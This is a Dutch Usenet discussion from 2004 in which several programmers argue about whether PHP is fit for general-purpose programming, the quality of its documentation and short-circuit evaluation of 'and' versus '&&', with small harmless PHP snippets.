Bezwaren tegen PHP als algemene programmeertaal

[Rene Pijlman]

Patrick:
>Rene Pijlman:
>> De functie van een artefact hoeft in de praktijk niet samen te
>> vallen met de bedoeling van zijn makers.
>
>Nee, dat hoeft niet. Ik zie alleen niet in waarom dat in het geval van
>PHP zo zou zijn.

Omdat PHP daar geen geschikte taal voor is. Het wordt voornamelijk
gebruikt voor het genereren van webpagina's en de hele evolutie van PHP
was daarop gericht.

Gaandeweg is het min of meer een programmeertaal geworden en dan zijn er
mensen van het type "if all you have is a hammer, everything looks like a
nail" die het voor algemeen programmeerwerk gebruiken. Maar daarvoor zijn
veel elegantere programmeertalen beschikbaar (tegenwoordig vooral: Java,
C#, Python).

Ik kan waarschijnlijk 100 voordelen van deze talen t.o.v. PHP bij elkaar
bedenken (maar dat ga ik niet doen), terwijl mij geen enkel voordeel van
PHP t.o.v. deze talen te binnen wil schieten.

De documentatie van PHP alleen al is zo weerzinwekkend slecht dat vrijwel
iedereen met een informaticadiploma fysieke symptomen van middeleeuwse
voedselziekten krijgt bij het lezen ervan.

Ik noem één piepklein voorbeeldje, dat ik in 12 seconden kon vinden. Wat
is volgens de documentatie de semantiek van de logische operatoren "and"
respectievelijk "&&"?
http://nl2.php.net/manual/en/language.operators.logical.php

En het ene A4'tje over Classes and Objects doet ook niet vermoeden dat dit
serieuze functionaliteit is.

Meer leesvoer over beperkingen van PHP:
http://www.ukuug.org/events/linux2002/papers/html/php/index.html

>Om eens enkele tegenvoorbeelden te geven:
>- http://freshmeat.net/projects/apamod/
>- http://freshmeat.net/projects/sfvchk/

Ik kan ook voorbeelden geven van mensen die een spijker in een plank slaan
met een schroevendraaier.

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

[John Bokma]

Rene Pijlman wrote:

> Patrick:
> [P: de makers hebben PHP bedoeld als algemene programmeertaal
> RP: PHP is niet bedoeld als algemene programmeertaal]
>
>>Ik zie alleen niet in waarom dat in het geval van PHP zo zou zijn.
>
> Omdat PHP daar geen geschikte taal voor is. Het wordt voornamelijk
> gebruikt voor het genereren van webpagina's en de hele evolutie van PHP
> was daarop gericht.
>
> Gaandeweg is het min of meer een programmeertaal geworden en dan zijn er
> mensen van het type "if all you have is a hammer, everything looks like a
> nail" die het voor algemeen programmeerwerk gebruiken. Maar daarvoor zijn
> veel elegantere programmeertalen beschikbaar (tegenwoordig vooral: Java,
> C#, Python).

En Perl ;-)

> Meer leesvoer over beperkingen van PHP:
> http://www.ukuug.org/events/linux2002/papers/html/php/index.html

Ga ik ff lezen, want ik zit ergens anders tegen PHP te schoppen :-D, dank!

> Ik kan ook voorbeelden geven van mensen die een spijker in een plank slaan
> met een schroevendraaier.

Of gewoon hun duim gebruiken :-D.

--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced Perl programmer available: http://castleamber.com/

[Rene Pijlman]

John Bokma:
>Rene Pijlman:
>> Maar daarvoor zijn veel elegantere programmeertalen beschikbaar
>> (tegenwoordig vooral: Java, C#, Python).
>
>En Perl ;-)

Ben je nou nog steeds Perl-fan John? Ik dacht dat je daar wel een keer
overheen zou groeien :-)

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

[John Bokma]

Rene Pijlman wrote:

> John Bokma:
>
>>Rene Pijlman:
>>
>>>Maar daarvoor zijn veel elegantere programmeertalen beschikbaar
>>>(tegenwoordig vooral: Java, C#, Python).
>>
>>En Perl ;-)
>
> Ben je nou nog steeds Perl-fan John? Ik dacht dat je daar wel een keer
> overheen zou groeien :-)

Ik heb Programmeren in Python gekocht op de boekenbeurs (ja, ze hadden
alleen de NL versie), maar op een of andere manier vond ik dat boek
extreem vaag. Python op mijn computer gezet, wat kleine dingen gedaan
enz. En toen was ik ineens in Mexico :-D. Ik wil eigenlijk naar C# gaan
kijken, voor het GUI gebeuren. Ik heb een eng vermoeden dat C# meer gaat
doen dan Java :-(. En zo heb ik nog een paar talen die ik ooit graag
eens wil bekijken, zoals Ruby, HUGS (ooit Gofer gebruikt), en een waar
ik ff niet op kan komen.

Perl wordt pas echt leuk met Perl 6, vermoed ik, dus ik blijf nog ff fan ;-)

--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced Perl programmer available: http://castleamber.com/

[robert]

John Bokma <postmaster@castleamber.com>:
> Ik heb Programmeren in Python gekocht op de boekenbeurs (ja, ze hadden
> alleen de NL versie), maar op een of andere manier vond ik dat boek
> extreem vaag. Python op mijn computer gezet, wat kleine dingen gedaan
> enz.

En mocht je, net als menigeen, niet genoeg krijgen van die geweldige
whitespace conventies van Python, kan je altijd nog Acme::Pythonic
gebruiken (http://search.cpan.org/~fxn/Acme-Pythonic-0.11/) ;)

--
robert

[John Bokma]

robert wrote:

> John Bokma <postmaster@castleamber.com>:
> > Ik heb Programmeren in Python gekocht op de boekenbeurs (ja, ze hadden
> > alleen de NL versie), maar op een of andere manier vond ik dat boek
> > extreem vaag. Python op mijn computer gezet, wat kleine dingen gedaan
> > enz.
>
> En mocht je, net als menigeen, niet genoeg krijgen van die geweldige
> whitespace conventies van Python,

Dat is toch dat blocks gemaakt worden met spaties? Dat overleef ik wel,
was IIRC ook met Miranda zo. En anders maak ik daar een Perl script voor
:-D.

> kan je altijd nog Acme::Pythonic
> gebruiken (http://search.cpan.org/~fxn/Acme-Pythonic-0.11/) ;)

Zal eens kijken :-D.

--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced Perl programmer available: http://castleamber.com/

[Rene Pijlman]

John Bokma:
>Ik heb Programmeren in Python gekocht op de boekenbeurs (ja, ze hadden
>alleen de NL versie), maar op een of andere manier vond ik dat boek
>extreem vaag.

Ik heb hier "Programming Python" van Mark Lutz staan, dat zal hem wel
zijn. Ik ben het met je eens, dat boek is nogal vaag. Het behandelt breed
en oppervlakkig allerlei triviale onderwerpen, met veel code-voorbeelden
etc.

Ik gebruik zelf vooral de bekende online documentatie.

"Python in a Nutshell" schijnt wel goed te zijn.

>Python op mijn computer gezet, wat kleine dingen gedaan
>enz. En toen was ik ineens in Mexico :-D

Gut, die functionaliteit heb ik nog niet ontdekt. Welke functie moet je
daarvoor aanroepen?

>Ik wil eigenlijk naar C# gaan kijken, voor het GUI gebeuren. Ik heb een
>eng vermoeden dat C# meer gaat doen dan Java :-(

Zou kunnen. Maar kan die taal buiten Microsoft bestaan?

>En zo heb ik nog een paar talen die ik ooit graag eens wil bekijken,
>zoals Ruby, HUGS (ooit Gofer gebruikt), en een waar ik ff niet op kan
>komen.

Prolog, functioneel programmeren e.d. gok ik. Functioneel programmeren kan
ook in Python :-)
http://www-106.ibm.com/developerworks/linux/library/l-prog.html

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

[Rene Pijlman]

John Bokma:
>Dat is toch dat blocks gemaakt worden met spaties? Dat overleef ik wel,

Yep, de meeste bekwamee programmeurs maken blocks met spaties (of tabs).

Alleen moet je daar bij veel programmeertalen nog { } e.d. bijzetten,
omdat de parser anders de blockstructuur niet snapt.

Python is wat slimmer.

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

[Rene Pijlman]

John Bokma:
>Dat is toch dat blocks gemaakt worden met spaties? Dat overleef ik wel,

Yep, de meeste bekwame programmeurs maken blocks met spaties (of tabs).

Alleen moet je daar bij veel programmeertalen nog { } e.d. bijzetten,
omdat de parser anders de blockstructuur niet snapt.

Python is wat slimmer.

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

[robert]

Rene Pijlman <reply.in.the.newsgroup@my.address.is.invalid>:
> John Bokma:
>
>>Dat is toch dat blocks gemaakt worden met spaties? Dat overleef ik wel,
>
> Yep, de meeste bekwamee programmeurs maken blocks met spaties (of tabs).
>
> Alleen moet je daar bij veel programmeertalen nog { } e.d. bijzetten,
> omdat de parser anders de blockstructuur niet snapt.
>
> Python is wat slimmer.

Totdat je samenwerkt met een programmeur die spaties gebruikt, terwijl
jijzelf tabs gebruikt (of vv). Tenzij je een tabsize van 8 gebruikt,
natuurlijk, wat ik persoonlijk voor sourcecode te veel vind.

--
robert

[John Bokma]

Rene Pijlman wrote:

> John Bokma:
>
>>Python op mijn computer gezet, wat kleine dingen gedaan
>>enz. En toen was ik ineens in Mexico :-D
>
> Gut, die functionaliteit heb ik nog niet ontdekt. Welke functie moet je
> daarvoor aanroepen?

Eh, ik gok dat het ook met Python had gekund, maar ik gebruikte er MSN
Messenger voor.

>>Ik wil eigenlijk naar C# gaan kijken, voor het GUI gebeuren. Ik heb een
>>eng vermoeden dat C# meer gaat doen dan Java :-(
>
> Zou kunnen. Maar kan die taal buiten Microsoft bestaan?

Mono, ja dus.

>>En zo heb ik nog een paar talen die ik ooit graag eens wil bekijken,
>>zoals Ruby, HUGS (ooit Gofer gebruikt), en een waar ik ff niet op kan
>>komen.
>
> Prolog, functioneel programmeren e.d. gok ik.

Nee, niet Prolog, ff kijken:
<http://directory.google.com/Top/Computers/Programming/Languages/>

REBOL dus.

--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced Perl programmer available: http://castleamber.com/

[John Bokma]

robert wrote:

> Rene Pijlman <reply.in.the.newsgroup@my.address.is.invalid>:
> > John Bokma:
> >
> >>Dat is toch dat blocks gemaakt worden met spaties? Dat overleef ik wel,
> >
> > Yep, de meeste bekwamee programmeurs maken blocks met spaties (of tabs).
> >
> > Alleen moet je daar bij veel programmeertalen nog { } e.d. bijzetten,
> > omdat de parser anders de blockstructuur niet snapt.
> >
> > Python is wat slimmer.
>
> Totdat je samenwerkt met een programmeur die spaties gebruikt, terwijl
> jijzelf tabs gebruikt (of vv). Tenzij je een tabsize van 8 gebruikt,
> natuurlijk, wat ik persoonlijk voor sourcecode te veel vind.

Een beetje editor maakt het mogelijk om een soft tab te gebruiken, op
b.v. 4 spaties. Iemand die een hard tab op iets anders dan 8 zet moet
voor straf een maand Notepad gebruiken :-D.

Daarnaast kan een beetje editor tabs vervangen door spaties.


--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced Perl programmer available: http://castleamber.com/

[Patrick]

Rene Pijlman wrote:
> Omdat PHP daar geen geschikte taal voor is. Het wordt voornamelijk
> gebruikt voor het genereren van webpagina's en de hele evolutie van PHP
> was daarop gericht.

Het wordt voornamelijk (maar niet exclusief) gebruikt voor het genereren
van webpagina's, dat ben ik met je eens. Het lijkt me echter niet dat de
hele evolutie daarop gericht is, waarom zou er anders inmiddels een CLI
mogelijkheid zijn ingebouwd en er een extension als PHP-GTK worden
ontwikkeld?

> Gaandeweg is het min of meer een programmeertaal geworden en dan zijn er
> mensen van het type "if all you have is a hammer, everything looks like a
> nail" die het voor algemeen programmeerwerk gebruiken. Maar daarvoor zijn
> veel elegantere programmeertalen beschikbaar (tegenwoordig vooral: Java,
> C#, Python).

Tsja, dat zou je ook van Java kunnen zeggen. Oorspronkelijk was het
bedoeld voor 'small devices', maar met de opkomst van het web werd het
omgebouwd en kreeg je al die 'leuke' applets in webpagina's. Net als
Java maakt PHP een ontwikkeling door die het meer 'general purpose'
maakt dan voorheen.

Ik zeg overigens ook niet dat PHP in zijn huidige vorm voor alle
toepassingen geschikt is, ik vind alleen je stelling 'PHP is alleen
geschikt voor webpagina's' wat kort door de bocht.

> Ik kan waarschijnlijk 100 voordelen van deze talen t.o.v. PHP bij elkaar
> bedenken (maar dat ga ik niet doen), terwijl mij geen enkel voordeel van
> PHP t.o.v. deze talen te binnen wil schieten.

Dan wordt het tijd voor een kop koffie :-)
- PHP heeft een lage 'learning curve'. Van een taal als C of Java zal
een beginnende programmeur dat niet snel zeggen :-)
- Er wordt een uitgebreide bibliotheek met functies standaard meegeleverd.
Zie ook http://en.wikipedia.org/wiki/Php.

Daarnaast heeft PHP weinig overhead. Bij Java bijvoorbeeld moet je eerst
een flinke VM inladen.

> De documentatie van PHP alleen al is zo weerzinwekkend slecht dat vrijwel
> iedereen met een informaticadiploma fysieke symptomen van middeleeuwse
> voedselziekten krijgt bij het lezen ervan.

Ik voel me nog prima, dank je :-)

> Ik noem één piepklein voorbeeldje, dat ik in 12 seconden kon vinden. Wat
> is volgens de documentatie de semantiek van de logische operatoren "and"
> respectievelijk "&&"?
> http://nl2.php.net/manual/en/language.operators.logical.php

De documentatie, alhoewel essentieel om fatsoenlijk te kunnen
programmeren, zegt wat mij betreft weinig over de kwaliteiten van de
programmeertaal zelf.

> En het ene A4'tje over Classes and Objects doet ook niet vermoeden dat dit
> serieuze functionaliteit is.

Klopt, OOP is (nog) vrij beperkt in PHP. Met de komst van PHP5/Zend
Engine II (zie ook http://www.zend.com/php5/articles/engine2-php-oo.php)
zou dit moeten verbeteren. Maar een programmeertaal kan natuurlijk
zonder OO prima 'general purpose' zijn.

> Meer leesvoer over beperkingen van PHP:
> http://www.ukuug.org/events/linux2002/papers/html/php/index.html

Op bijvoorbeeld http://c2.com/cgi/wiki?PhpProsAndCons wordt een aantal
van die beperkingen weer weerlegd (zie "Addendum").

> Ik kan ook voorbeelden geven van mensen die een spijker in een plank slaan
> met een schroevendraaier.

Welke talen zouden volgens jou dan meer geschikt zijn voor dit soort CLI
tools?

En wat nu als de dichtstbijzijnde hamer 100 kilometer verderop ligt, dan
wordt het toch aantrekkelijker om het met een schroevendraaier te
proberen, ook al is die minder geschikt voor die taak.

Zo ook in het geval van de OP: stel dat hij slechts PHP kent, moet hij
dan een andere (moeilijkere) programmeertaal gaan leren, alleen voor die
mailinglist?

Groeten,

Patrick

[John Bokma]

Patrick wrote:

> - PHP heeft een lage 'learning curve'. Van een taal als C of Java zal
> een beginnende programmeur dat niet snel zeggen :-)

Je verwart "de meeste scripts zijn een paar regels en worden met,
download scrippie, cut en paste, trail and error plus Usenet / forum
hulp in elkaar gehackt" met leren.

> Daarnaast heeft PHP weinig overhead. Bij Java bijvoorbeeld moet je eerst
> een flinke VM inladen.

Eh, wordt die niet in een slim geheugenbeheersysteem sticky ergens in
het geheugen gepoot?

--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced Perl programmer available: http://castleamber.com/

[Rene Pijlman]

Patrick:
>Het wordt voornamelijk (maar niet exclusief) gebruikt voor het genereren
>van webpagina's, dat ben ik met je eens. Het lijkt me echter niet dat de
>hele evolutie daarop gericht is, waarom zou er anders inmiddels een CLI
>mogelijkheid zijn ingebouwd en er een extension als PHP-GTK worden
>ontwikkeld?

Omdat er mensen zijn die met mij van mening verschillen :-)

>- PHP heeft een lage 'learning curve'. Van een taal als C of Java zal
>een beginnende programmeur dat niet snel zeggen :-)

Daar zit wel iets in bij het maken van webpagina's. Maar voor algemeen
programmeerwerk vind ik de learning curve van PHP minstens zo hoog.

>- Er wordt een uitgebreide bibliotheek met functies standaard meegeleverd.
>Zie ook http://en.wikipedia.org/wiki/Php.

Gezien, maar ik vind dit een vrij slecht artikel in de Wikipedia. Want:
zeer onkritisch. Het lijkt wel een reclamefolder.

>Daarnaast heeft PHP weinig overhead. Bij Java bijvoorbeeld moet je eerst
>een flinke VM inladen.

Volgens mij werken PHP, Java, Python, C# en Perl wat dit betreft
kwalitatief ongeveer hetzelfde.

Maar ik heb inderdaad ook de ervaring dat de overhead bij Java
kwantitatief vrij hoog ligt. Een Java-programma domineert mijn redelijk
moderne laptop, terwijl je niet eens doorhebt dat een vergelijkbaar
Python-programma draait.

>De documentatie, alhoewel essentieel om fatsoenlijk te kunnen
>programmeren, zegt wat mij betreft weinig over de kwaliteiten van de
>programmeertaal zelf.

Maar hier verschillen we fundamenteel van mening. De documentatie _is_ de
programmeertaal.

>Maar een programmeertaal kan natuurlijk zonder OO prima 'general purpose'
>zijn.

Que? OO is het dominante model van deze tijd. Hoe kan een taal die dit
matig ondersteunt nu 'general purpose' zijn?

>Welke talen zouden volgens jou dan meer geschikt zijn voor dit soort CLI
>tools?

Dat heb ik in deze discussie een paar keer gezegd, geloof ik.

>Zo ook in het geval van de OP: stel dat hij slechts PHP kent, moet hij
>dan een andere (moeilijkere) programmeertaal gaan leren, alleen voor die
>mailinglist?

Ja. Of hij moet geen mailing list maken. Een tandarts doet ook geen open
hart-operaties met zijn boor.

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

[Rene Pijlman]

Rene Pijlman:
>Patrick:
>>Zo ook in het geval van de OP: stel dat hij slechts PHP kent, moet hij
>>dan een andere (moeilijkere) programmeertaal gaan leren, alleen voor die
>>mailinglist?
>
>Ja. Of hij moet geen mailing list maken.

En by the way: ik heb hem de oplossing aangereikt. Een kant-en-klaar
mailing list pakket (Mailman). Toevallig geïmplementeerd in Python :-)

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

[John Bokma]

Rene Pijlman wrote:

> Ja. Of hij moet geen mailing list maken. Een tandarts doet ook geen open
> hart-operaties met zijn boor.

Soms zou je denken van wel :-D.

--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced Perl programmer available: http://castleamber.com/

[robert]

John Bokma <postmaster@castleamber.com>:
> robert wrote:
>
>> Totdat je samenwerkt met een programmeur die spaties gebruikt, terwijl
>> jijzelf tabs gebruikt (of vv). Tenzij je een tabsize van 8 gebruikt,
>> natuurlijk, wat ik persoonlijk voor sourcecode te veel vind.
>
> Een beetje editor maakt het mogelijk om een soft tab te gebruiken, op
> b.v. 4 spaties. Iemand die een hard tab op iets anders dan 8 zet moet
> voor straf een maand Notepad gebruiken :-D.
>
> Daarnaast kan een beetje editor tabs vervangen door spaties.

Wat heeft programmeren te maken met de editor, of de features van die
editor, die je gebruikt?

--
robert

[John Bokma]

robert wrote:

> John Bokma <postmaster@castleamber.com>:
> > robert wrote:
> >
> >> Totdat je samenwerkt met een programmeur die spaties gebruikt, terwijl
> >> jijzelf tabs gebruikt (of vv). Tenzij je een tabsize van 8 gebruikt,
> >> natuurlijk, wat ik persoonlijk voor sourcecode te veel vind.
> >
> > Een beetje editor maakt het mogelijk om een soft tab te gebruiken, op
> > b.v. 4 spaties. Iemand die een hard tab op iets anders dan 8 zet moet
> > voor straf een maand Notepad gebruiken :-D.
> >
> > Daarnaast kan een beetje editor tabs vervangen door spaties.
>
> Wat heeft programmeren te maken met de editor, of de features van die
> editor, die je gebruikt?

Wat heeft schilderen te maken met de kwast die je gebruikt? Soort haren?
Lengte?

--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced Perl programmer available: http://castleamber.com/

[Branko Collin]

Rene Pijlman <reply.in.the.newsgroup@my.address.is.invalid>, you wrote
on Fri, 28 May 2004 09:08:59 +0200:
>Patrick:

>[P: de makers hebben PHP bedoeld als algemene programmeertaal
>RP: PHP is niet bedoeld als algemene programmeertaal]
>>Ik zie alleen niet in waarom dat in het geval van PHP zo zou zijn.
>
>Omdat PHP daar geen geschikte taal voor is.

Daarmee is nog niets gezegd over het mis zijn van de bedoeling. Dat
het doel (nog) niet bereikt is, is een ander verhaal.

--
branko collin
- dr: "have you been exposed to any user interfaces designed by engineers?"
- woman: "yes"
- dr: "you have interface poisoning. you'll be dead within a week" (scott adams, dilbert)

[Rene Pijlman]

Branko Collin:
>Nee hoor, getrainde apen maken blocks met spaties

Onzin. Systematisch indenteren staat in vrijwel alle
codeerstijlrichtlijnen en wordt door vrijwel alle bekwame programmeurs
gepraktiseerd.

Wat ordinaire losse flodders over apen en broodjes doen daar niets aan af.

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

[robert]

Rene Pijlman <reply.in.the.newsgroup@my.address.is.invalid>:
> Branko Collin:
>
>>Nee hoor, getrainde apen maken blocks met spaties
>
> Onzin. Systematisch indenteren staat in vrijwel alle
> codeerstijlrichtlijnen en wordt door vrijwel alle bekwame programmeurs
> gepraktiseerd.

Maar wel grappig dat Pythonprogrammeurs het van hogerhand opgelegd moeten
krijgen.

--
robert

[Branko Collin]

Rene Pijlman <reply.in.the.newsgroup@my.address.is.invalid>, you wrote
on Fri, 28 May 2004 13:50:00 +0200:
>Branko Collin:

>>Nee hoor, getrainde apen maken blocks met spaties
>
>Onzin. Systematisch indenteren staat in vrijwel alle
>codeerstijlrichtlijnen en wordt door vrijwel alle bekwame programmeurs
>gepraktiseerd.
>
>Wat ordinaire losse flodders over apen en broodjes doen daar niets aan af.

Stijlrichtlijnen? Is de stijl van de taal niet wat anders dan de
grammatica van de taal?

--
branko collin
- dr: "have you been exposed to any user interfaces designed by engineers?"
- woman: "yes"
- dr: "you have interface poisoning. you'll be dead within a week" (scott adams, dilbert)

[Patrick]

Rene Pijlman wrote:
> Omdat er mensen zijn die met mij van mening verschillen :-)

Daar kan ik me niks bij voorstellen :-)

> Daar zit wel iets in bij het maken van webpagina's. Maar voor algemeen
> programmeerwerk vind ik de learning curve van PHP minstens zo hoog.

Tsja, wat is 'algemeen programmeerwerk'. Als je grote projecten hebt
waar met meerdere mensen aan gewerkt wordt, zal er inderdaad weinig
verschil zijn met andere talen. Maar voor huis, tuin en keuken-gebruik
denk ik dat PHP toch laagdrempeliger is.

> Gezien, maar ik vind dit een vrij slecht artikel in de Wikipedia. Want:
> zeer onkritisch. Het lijkt wel een reclamefolder.

Je hebt de mogelijkheid de reclamefolder aan te passen als de inhoud
volgens jou niet klopt ;-)

> Maar ik heb inderdaad ook de ervaring dat de overhead bij Java
> kwantitatief vrij hoog ligt. Een Java-programma domineert mijn redelijk
> moderne laptop, terwijl je niet eens doorhebt dat een vergelijkbaar
> Python-programma draait.

Ik moet zeggen dat ik geen ervaring heb met Python. Ik zal er binnenkort
eens een blik op werpen.

> Maar hier verschillen we fundamenteel van mening. De documentatie _is_ de
> programmeertaal.

Dat zou best kunnen :-)

Als ik de definitie van een programmeertaal uit Wikipedia even aanhoud,
dan is een programmeertaal een set van syntactische en semantische
regels die gebruikt worden om computerprogramma's te definieren. Die set
zal de ontwikkelaar van een taal, na het opstellen ervan (misschien
rekende je dit ook al tot de documentatie?), enerzijds beschrijven in de
documentatie en anderzijds implementeren. Wat mij betreft kan het dus
best zo zijn dat je een slechte beschrijving hebt met een prima
implementatie van de taal.

> Que? OO is het dominante model van deze tijd. Hoe kan een taal die dit
> matig ondersteunt nu 'general purpose' zijn?

Dan ben ik benieuwd wat voor definitie jij voor 'general purpose'
hanteert? Het lijkt me dat de mate waarin een paradigma populair is of
niet, niets zegt over de toepassingsmogelijkheden van een ander
paradigma. Met OOP kun je geen fundamenteel andere programma's maken dan
met imperatieve of functionele talen.

> Dat heb ik in deze discussie een paar keer gezegd, geloof ik.

Je noemde de talen Java, C#, Python. Van Java gaf je zelf al aan dat het
een flinke aanslag op de resources van je laptop was, C# is alleen voor
Windows beschikbaar (Mono verkeert nog in betafase, als ik het goed
heb). Python heb ik zoals gezegd geen ervaring mee. Dat zou wat mij
betreft dan nog de enige overgebleven kandidaat zijn.

> Ja. Of hij moet geen mailing list maken. Een tandarts doet ook geen open
> hart-operaties met zijn boor.

Klopt, maar die krijgt er dan ook voor betaald. Er is natuurlijk een
verschil tussen hobby en professie, voor sommigen dan ;-)

Groeten,

Patrick

[Patrick]

Rene Pijlman wrote:
> En by the way: ik heb hem de oplossing aangereikt. Een kant-en-klaar
> mailing list pakket (Mailman).

Maar ik heb je goede bedoelingen ook niet in twijfel getrokken :-)

> Toevallig geïmplementeerd in Python :-)

En dat was nou net niet wat hij zocht ;-)

Ik gok trouwens dat het aantal hostingproviders dat PHP standaard
ondersteunt, *net* iets groter is dan het aantal dat Python ondersteunt...

Groeten,

Patrick

[Rene Pijlman]

Erick T. Barkhuis:
>Rene Pijlman:
>> En in de
>> tweede plaats doelde ik natuurlijk op de semantiek m.b.t. het "shortcut"
>> gedrag. Je weet wel, of b in a and b wordt geëvalueerd als a false is.
>
>Is het, behalve als "weetje", functioneel interessant om te weten of in
>dat geval b wordt geevalueerd?

Nou en of. En wel om twee redenen.

1. In een programmeertaal kan de evaluatie van een expressie neveneffecten
hebben. De toestand van het programma kan na het evalueren van alleen a
anders zijn dan na het evalueren van zowel a als b.

Bijvoorbeeld:

if (kernTeHeet() and stopReactor())
{
echo "De kern was te heet, dus is de reactor gestopt";
}
else if (kernTeHeet())
{
echo "Alarm: kern te heet, maar de reactor stopt niet";
}
else
{
echo "Niks aan het handje";
}

Hoe zou jij die 'and' geëvalueerd willen hebben als je naast de
kernreactor woont? En zou je dan vertrouwen op de user comments die
anonieme webgebruikers op veilige afstand van de kerncentrale hebben
achtergelaten bij de documentatie die er geen uitspraak over doet?

2. Shortcut-evalueren is soms nodig voor correcte code:

a: array[n]
if (i < n && a[i] != 0)
...

Deze code zou falen als i >= n en daarna a[i] geëvalueerd wordt.

>Wanneer ik echt zou willen voorkomen dat b wordt geevalueerd, dan zou ik
>vermoedelijk coderen:

Dat mag natuurlijk ook, maar in veel programmeertalen bestaat speciaal
voor dit doel de '&&' operator.

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

[Nico Coesel]

John Bokma <postmaster@castleamber.com> wrote:

>Nico Coesel wrote:
>
>> Rene Pijlman <reply.in.the.newsgroup@my.address.is.invalid> wrote:
>>
>>
>>>Nico Coesel:
>>>
>>>>Volgens mij heb je PHP 5 minuten bekeken
>>>
>>>Je hebt kennelijk een kristallen bol.
>>>
>>>
>>>>Ik vind de documentatie uitstekend.
>>>>Alles wat ik ooit heb willen weten heb ik er in terug kunnen vinden.
>>>
>>>Nou, misschien kun je dan even op mijn inhoudelijk voorbeeld reageren.
>>
>>
>> Je bedoelt 'and' en '&&' ? Die zijn hetzelfde, staat toch duidelijk in
>> het tabelletje? De basis syntax van PHP is afgekeken C, maar de nogal
>
>s/C/Perl/;
>
>en in Perl zijn and en && *niet* hetzelfde. Je kan probleemloos een

We hebben het over C, Pascal en PHP.

>" The reason for the two different variations of "and" and "or"
>operators is that they operate at different precedences. (See Operator
>Precedence.) "

En als je nooit op operator precedence vertrouwd maar altijd -zoals
een goed programeur betaamt- haakjes gebruikt om de volgorde van
berekenen aan te geven doen ze dus altijd hetzelfde.

><http://www.php.net/manual/en/language.operators.logical.php>
>
>Ben het overigens met Rene eens dat die "user comments" niet doorheen te
>komen is. En ik kon in de documentatie niet even vinden of and en && een
>short circuit doen (die user ruis er onder zie ik niet als een onderdeel
>van documentatie).

Rene heeft een of ander forum te pakken. Je kunt beter bij
http://www.php.net/ de officiele documentatie downloaden.


--
Reply to nico@nctdevpuntnl (punt=.)
Bedrijven en winkels vindt U op www.adresboekje.nl

[Nico Coesel]

Rene Pijlman <reply.in.the.newsgroup@my.address.is.invalid> wrote:

>Erick T. Barkhuis:
>>Rene Pijlman:
>>> En in de
>>> tweede plaats doelde ik natuurlijk op de semantiek m.b.t. het "shortcut"
>>> gedrag. Je weet wel, of b in a and b wordt geëvalueerd als a false is.
>>
>>Is het, behalve als "weetje", functioneel interessant om te weten of in
>>dat geval b wordt geevalueerd?
>
>Nou en of. En wel om twee redenen.
>
>1. In een programmeertaal kan de evaluatie van een expressie neveneffecten
>hebben. De toestand van het programma kan na het evalueren van alleen a
>anders zijn dan na het evalueren van zowel a als b.

In PHP is het gewoon niet gedocumenteerd welke expressie als eerste in
een if statement wordt verwerkt. Dus moet je ervan uitgaan dat beide
expressies worden geevalueerd (zoals in vele andere programmeertalen).

--
Reply to nico@nctdevpuntnl (punt=.)
Bedrijven en winkels vindt U op www.adresboekje.nl

[Rene Pijlman]

Nico Coesel:
>Rene heeft een of ander forum te pakken. Je kunt beter bij
>http://www.php.net/ de officiele documentatie downloaden.

Wat een klets weer. Ik had het natuurlijk over php.net, waar de online
documentatie is voorzien van user comments.

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

[Daniel Tryba]

Rene Pijlman <reply.in.the.newsgroup@my.address.is.invalid> wrote:
>>Rene heeft een of ander forum te pakken. Je kunt beter bij
>>http://www.php.net/ de officiele documentatie downloaden.
>
> Wat een klets weer. Ik had het natuurlijk over php.net, waar de online
> documentatie is voorzien van user comments.

http://nl3.php.net/manual/en/print/index.php

online versie zonder commentaar.

--

Daniel Tryba

[Erick T. Barkhuis]

Rene Pijlman [on Sat, 29 May 2004 12:38:20 +0200] wrote:
> Erick T. Barkhuis:
> >Rene Pijlman:
> >> Je weet wel, of b in a and b wordt geëvalueerd als a false is.
> >
> >Is het, behalve als "weetje", functioneel interessant om te weten of in
> >dat geval b wordt geevalueerd?
>
> Nou en of. En wel om twee redenen.
>
> 1. In een programmeertaal kan de evaluatie van een expressie neveneffecten
> hebben.

Als je dat als programmeur toestaat wel, ja.
Even dit voorbeeld:


> if (kernTeHeet() and stopReactor())

Dit lijken wel wat "ongelijkwaardige" methods te zijn, Rene.
kernTeHeet() lijkt al het uitvragen van een status, terwijl stopReactor()
klinkt als een actie die goed of fout verloopt. Maar vooruit, laten we
aannemen dat je met kernTeHeet() een method bedoelt die de kern te heet
doet zijn en retourneert of dat is gelukt.
> {
> echo "De kern was te heet, dus is de reactor gestopt";
> }
> else if (kernTeHeet())
> {
> echo "Alarm: kern te heet, maar de reactor stopt niet";
> }
> else
> {
> echo "Niks aan het handje";
> }

Mijn insteek als programmeur zou anders zijn. Als ik het mijn tante van 83
zou moeten uitleggen, dan zou ik het er zo vertellen:

"Kijk tante, eerst geef ik opdracht om iemand de kern te heet te maken.
Zodra hij me vertelt dat het is gelukt, dan laat ik iemand anders de
reactor stoppen. We schrijven:

statusKTH = kernTeHeet();
if (statusKTH) {
statusSR = stopReactor();
if (statusSR) {
echo "De kern was te heet, dus is de reactor gestopt";
}
else {
echo "Alarm: kern te heet, maar de reactor stopt niet";
}
else {
echo "Niks aan het handje";
}


> Hoe zou jij die 'and' geëvalueerd willen hebben als je naast de
> kernreactor woont?

Ik begrijp je punt. Maar aan de andere kant vraagt de programmeur wel om
onduidelijkheid door die manier van coderen.
Het zou mij een worst moeten zijn of, en zo ja in welke volgorde (a and b)
